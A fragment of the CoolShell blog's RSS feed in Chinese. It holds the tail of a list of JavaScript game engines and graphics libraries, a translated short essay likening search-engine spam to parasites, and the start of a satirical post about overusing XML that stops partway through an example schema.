align=\"left\">Apache 2.0</td>\n<td align=\"left\"></td>\n<td align=\"left\">还没有released。使用 GWT 和 HTML5。关注于Linux和Mac OS上的Web游戏开发。<a href=\"http://flax.ie/about/\">8</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/giancarlo/j5g3\">j5g3</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">GPLv3</td>\n<td align=\"left\"></td>\n<td align=\"left\">还在开发过程中</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://sites.google.com/site/cssgameengine/\">cssgameengine</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">用于初学者。</td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-3516\"></span></p>\n<table>\n<tbody>\n<tr>\n<td align=\"left\"><a href=\"http://mccormick.cx/projects/jsGameSoup/\">jsGameSoup</a></td>\n<td align=\"left\">v74</td>\n<td align=\"left\">LGPLv3</td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.sean.co.uk/a/webdesign/javascript_gamelib/javascript_gamelib.shtm\">Javascript Gamelib</a></td>\n<td align=\"left\">2.10</td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.sarien.net/source\">Sarien.net interpreter</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">GPL</td>\n<td align=\"left\">2D Adventure</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/jgen/\">jGen</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">Isometric</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.isogenicengine.com/home/\">Isogenic Engine</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">Isometric</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://gammajs.org/\">GammaJS</a></td>\n<td align=\"left\">1.0</td>\n<td align=\"left\">MIT</td>\n<td align=\"left\">2.5D Platform</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.codeproject.com/KB/scripting/TomsHallsJavascriptGame.aspx\">Tom&#8217;s Halls</a></td>\n<td align=\"left\">3.0</td>\n<td align=\"left\"></td>\n<td align=\"left\">Platform</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/lostdecade/diggy\">Diggy</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">BSD</td>\n<td align=\"left\"></td>\n<td align=\"left\">基于 DHTML, 正在暂停中</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://impactjs.com/\">Impact</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">Commercial ($99)</td>\n<td align=\"left\">2D</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://rocketpack.fi/engine/\">Rocket Engine</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">Commercial</td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.wonderlandblog.com/wonderland/2010/04/aves-an-html-javascript-game-engine.html\">Aves</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">Commercial?</td>\n<td align=\"left\"></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/vonkow/Rosewood\">Rosewood</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">2D</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/RyanWilliams/cocos2d-javascript\">Cocos2D</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">BSD</td>\n<td align=\"left\">2D</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://gamejs.org/\">GameJS</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">MIT</td>\n<td align=\"left\">2D</td>\n<td align=\"left\">CommonJs; 可以和 RingoJs server 整合，很像 PyGame; 仅支持Canvas;</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.getxc.org/\">xc.js</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">BSD</td>\n<td align=\"left\">2D</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/vegalib/\">vegalib</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">LPGL</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://sourceforge.net/projects/clanfx/\">ClanFX</a></td>\n<td align=\"left\">0.0.1</td>\n<td align=\"left\"></td>\n<td align=\"left\">Tile based</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://canvex.lazyilluminati.com/\">Canvex</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">FPS</td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/Osmose/bdge\">bdge</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"><a href=\"https://github.com/Osmose/Sub-C-Adventure\">Demo</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/mcgrue/js-verge\">js-verge</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">2D</td>\n<td align=\"left\"><a href=\"http://spriteright.com/\">Demo</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/BillyWM/FlixelJS\">FlixelJS</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">2D</td>\n<td align=\"left\"><a href=\"http://billy.wenge-murphy.com/flixel-js/testgame.html\">Demo</a> Port of Flixel (Flash) to JS. <a href=\"http://flixel.org/forums/index.php?topic=2859.0\">Announcement thread</a>.</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://unity3d.com/\">Unity3D</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">Commercial (free version too)</td>\n<td align=\"left\">JS backend</td>\n</tr>\n</tbody>\n</table>\n<h4>3D 引擎</h4>\n<p>相比起成熟的游戏引擎来说，这些引擎没有包括诸如AI、声音、游戏逻辑、网络等等功能，不过，你可以使用别的一些JS库来辅助完成这些功能。</p>\n<table>\n<tbody>\n<tr>\n<th align=\"left\">Name</th>\n<th align=\"left\">Latest Release</th>\n<th align=\"left\">License</th>\n<th align=\"left\">Notes</th>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://deanm.github.com/pre3d/\">Pre3d</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"><a href=\"http://www.chromeexperiments.com/detail/monster/\">Demo</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/mrdoob/three.js\">three.js</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">MIT</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.c3dl.org/\">C3DL</a></td>\n<td align=\"left\">2.1 (?)</td>\n<td align=\"left\">MIT</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.ambiera.com/copperlicht/\">CopperLicht</a></td>\n<td align=\"left\">1.3.2 (?)</td>\n<td align=\"left\"></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.wxs.ca/js3d/\">JS3D</a></td>\n<td align=\"left\">0.1a (2007-02-05)</td>\n<td align=\"left\">GPL</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.flashsandy.org/\">Sandy 3D</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">由Haxe编辑成 JS</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/o3d/\">O3D</a></td>\n<td align=\"left\"></td>\n<td>BSD</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.glge.org/\">GLGE</a></td>\n<td align=\"left\">0.5.2</td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://spidergl.org/\">SpiderGL</a></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<h4>碰撞检测</h4>\n<ul>\n<li><a href=\"http://code.google.com/p/box2dweb/\">http://code.google.com/p/box2dweb/</a> &#8211; 由 <a href=\"http://www.box2d.org/\">Box2D</a> 移植成 JS</li>\n</ul>\n<h4>动画</h4>\n<table>\n<tbody>\n<tr>\n<th align=\"left\">Name</th>\n<th align=\"left\">Latest Release</th>\n<th align=\"left\">License</th>\n<th align=\"left\">Notes</th>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/batiste/sprite.js\">sprite.js</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"><a href=\"https://github.com/batiste/sprite.js/blob/master/LICENSE\">VIEW</a></td>\n<td align=\"left\">Created with goal of having common JS framework for dsktop and web. <a href=\"http://www.htmlgoodies.com/daily_news/article.php/417990\">1</a></td>\n</tr>\n</tbody>\n</table>\n<h4>声音</h4>\n<ul>\n<li><a href=\"http://www.schillmania.com/projects/soundmanager2/\">SoundManager2</a></li>\n</ul>\n<h4>图形</h4>\n<h3>Canvas</h3>\n<table>\n<tbody>\n<tr>\n<th align=\"left\">Name</th>\n<th align=\"left\">Size (KB)</th>\n<th align=\"left\">License</th>\n<th align=\"left\">IE</th>\n<th align=\"left\">SVG</th>\n<th align=\"left\">Docs</th>\n<th align=\"left\">Notes</th>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/canto-js/\">canto.js</a></td>\n<td align=\"left\">56</td>\n<td align=\"left\"></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/kangax/fabric.js/\">fabric.js</a></td>\n<td align=\"left\">97</td>\n<td align=\"left\"></td>\n<td align=\"left\">yes</td>\n<td align=\"left\">yes</td>\n<td align=\"left\">yes</td>\n<td align=\"left\"><a href=\"http://kangax.github.com/fabric.js/test/demo/\">Demo</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/rsandor/gury/blob/master/gury.js\">gury.js</a></td>\n<td align=\"left\">10</td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">yes</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/cakejs/\">CAKE</a></td>\n<td align=\"left\">211</td>\n<td align=\"left\"></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://forvar.de/js/mcl/\">Mootools Canvas Library (MCL)</a></td>\n<td align=\"left\">8</td>\n<td align=\"left\"></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://canvastoolkit.codeplex.com/\">HTML5 Canvas Library</a></td>\n<td align=\"left\">12</td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/layered-canvas-library/\">Layered Canvas Library (LCL)</a></td>\n<td align=\"left\">21</td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/davidbrooks/Artisan\">Artisan.js</a></td>\n<td align=\"left\">17</td>\n<td align=\"left\"></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/canvg/\">canvg</a></td>\n<td align=\"left\">78.3</td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">yes</td>\n<td align=\"left\">no</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/F1LT3R/burst\">burst</a></td>\n<td align=\"left\">56</td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">yes</td>\n<td align=\"left\">没有维护了</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://easeljs.com/\">easel.js</a></td>\n<td align=\"left\">33</td>\n<td align=\"left\">MIT</td>\n<td align=\"left\">no</td>\n<td align=\"left\">no</td>\n<td align=\"left\">yes</td>\n<td align=\"left\">尝试像Flash的DisplayList 一样在 Canvas 上创建图形。</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://processingjs.org/\">processing.js</a></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/hapticdata/toxiclibsjs\">toxiclibsjs</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">LPGL2.1</td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">和 processing.js 结合和很好</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/hyperandroid/CAAT/\">CAAT</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">MIT</td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/michael/unveil\">Unveil.js</a></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/biilly/doodle-js\">doodle.js</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">BSD</td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p>注意，文件尺寸比较并不一定准确，因为有些lib并没有压缩过。</p>\n<ul>\n<li><a href=\"http://www.quasimondo.com/StackBlurForCanvas/StackBlurDemo.html\">Stackblur</a> &#8211; 在 Canvas 上实现模糊的效果</li>\n<li><a href=\"http://www.pixastic.com/\">Pixastic</a> &#8211; 简单的图片操作</li>\n<li><a href=\"http://raphaeljs.com/\">Raphaël</a> &#8211; 进行一些矢量图以及一些变化操作，能看<a href=\"https://coolshell.cn/articles/3107.html\" target=\"_blank\">这篇文章</a></li>\n<li><a href=\"https://github.com/meltingice/CamanJS\">CamanJS</a> &#8211; Canvas上的一些滤镜</li>\n<li><a href=\"https://github.com/millermedeiros/CanvasContext2DWrapper\">CanvasContext2DWrapper</a> &#8211; Method chaining for Canvas</li>\n</ul>\n<h3>WebGL</h3>\n<ul>\n<li><a href=\"https://github.com/onegeek/webglu\">WebGLU</a> &#8211; WebGL helpers</li>\n</ul>\n<h3>Color</h3>\n<ul>\n<li><a href=\"https://github.com/eligrey/color.js\">color.js</a> &#8211; 颜色管理工具。 MIT</li>\n</ul>\n<h4>Math</h4>\n<ul>\n<li><a href=\"http://sylvester.jcoglan.com/\">Sylvester</a> &#8211; 数组和矩阵</li>\n</ul>\n<h4>其它</h4>\n<ul>\n<li><a href=\"http://www.playmycode.com/\">PlayMyCode</a> &#8211; 在线游戏社区。使用 Quby (像Ruby) 编译成JavaScript.</li>\n<li><a href=\"http://www.spheredev.org/\">Sphere RPG Engine</a> &#8211; 为 RPG 游戏设计。使用 JavaScript</li>\n<li><a href=\"http://playtomic.com/\">playtomic</a> &#8211; Commercial service providing analytics, leaderboards etc. services for games. Provides HTML5/JS API in addition to AS2/AS3 ones.</li>\n</ul>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3516.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>88</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Google 需要性爱</title>\n\t\t<link>https://coolshell.cn/articles/3510.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3510.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 19 Jan 2011 04:43:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3510</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>看到一篇趣文Google Needs Sex，翻译过来。 Brad DeLong 给我们写了 两篇关于“Google遇到的麻烦”的文章(墙)，这两篇文章基本上是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3510.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3510.html\">Google 需要性爱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>看到一篇趣文<a href=\"http://krugman.blogs.nytimes.com/2011/01/10/google-needs-sex/\" target=\"_blank\">Google Needs Sex</a>，翻译过来。</p>\n<p>Brad DeLong 给我们写了 <a href=\"http://delong.typepad.com/sdj/2011/01/trouble-in-the-house-of-google.html\">两篇关于“Google遇到的麻烦”的文章</a>(墙)，这两篇文章基本上是说， 制造网络欺诈和网络垃圾信息的人会尽其一切努力来和搜索引擎进行博弈，这样一来，其会让搜索到的结果对我们越来越没有帮助（译注：百度的竞价排名成为了制造网络欺诈和网络垃圾信息甚至洗脑的温床）。于是，人们开始去使用其它一些影响地较少的搜索引擎，准确的说，是那些垃圾信息和欺诈信息的东西还不适应于这些搜索引擎。</p>\n<p>这让我想到了Sex。</p>\n<p>如果你查看一下进化论，你就会知道为什么有性繁殖是有进化性的，是有可持续性的，而进化也是需要巨大的成本的。</p>\n<p>为什么自然界不用克隆来繁殖呢？我所理解的最有说服力的答案是—— <a href=\"http://www.sciencedaily.com/releases/2009/07/090706171542.htm\">防御寄生生物</a>。如果每一代的生物体都和上一代完全的一样，寄生生物就总有一天可以破解生物体的防御，就是为什么！如果我们的某个香蕉园里种植着“克隆香焦” ，那么一旦某种病菌传播开来，那么我们整个香蕉园里的全部香蕉将毁于一旦。所以，混杂基因的模式会让寄生生物或病毒更难破坏我们的防御。</p>\n<p>因此，Google的这些欺诈信息和垃圾信息就像是寄生在人体上的寄生体一样，它们已经非常适应Google的搜索引擎。（译注：百度上的寄生体则像是百度自己养的宠物）</p>\n<p>我不知道“搜索引擎的性爱”会是什么样的，但是很明显，Google需要一些。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3510.html\">Google 需要性爱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3510.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>信XML，得自信</title>\n\t\t<link>https://coolshell.cn/articles/3498.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3498.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 19 Jan 2011 00:49:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[XML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3498</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>XML可能是计算有史以来最NB的发明了，以至于我们以没有XML的程序是难登大堂的程序，不用XML，你都不好意思当程序员。于是，我们看到了很多很雷人的用法（《信X...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3498.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3498.html\">信XML，得自信</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>XML可能是计算有史以来最NB的发明了，以至于我们以没有XML的程序是难登大堂的程序，不用XML，你都不好意思当程序员。于是，我们看到了<a href=\"https://coolshell.cn/articles/2504.html\" target=\"_blank\">很多很雷人的用法</a>（《信XML，得永生》），当然一些朋友当时并没有看懂，不过我不怪大家，因为我们依然深信使用XML可以让你有强大的Zhuangbility，于是我们有下面这两种相当Geiliable的用法。</p>\n<h4>一、XML中的XML</h4>\n<p>这个例子是某公司的一个SOAP实现——我们的Webservice需要返回一个XML字符串，这怎么办呢？其实很容易，因为——XML是无所不能的，那怕是封装自己。</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;!-- ED: soap envelope omitted for readability --&gt;\n&lt;string xmlns=&quot;urn:Initech.Global.Services&quot;&gt;\n  &amp;lt;CompanyGetConnector&amp;gt;\n    &amp;lt;xs:schema xmlns:xs=&quot;http://www.w3.org/2001/XMLSchema&quot;&amp;gt;\n      &amp;lt;xs:element name=&quot;InitechGetConnector&quot;&amp;gt;\n        &amp;lt;xs:complexType&amp;gt;\n          &amp;lt;xs:choice maxOccurs=&quot;unbounded&quot;&amp;gt;\n            &amp;lt;xs:element name=&quot;employees&quot;&amp;gt;\n              &amp;lt;xs:complexType&amp;gt;\n                &amp;lt;xs:sequence&amp;gt;\n                  &amp;lt;xs:element name=&quot;EmployerName&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Employee&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Firstname&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Prefix&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Lastname&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Org._unit&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Function&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;E-mail_work&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Telephone_work&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Mobile_work&quot; type=&quot;xs:string&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Birthdate&quot; type=&quot;xs:date&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Hired_since__irt._yearsemployed_&quot; type=&quot;xs:date&quot; 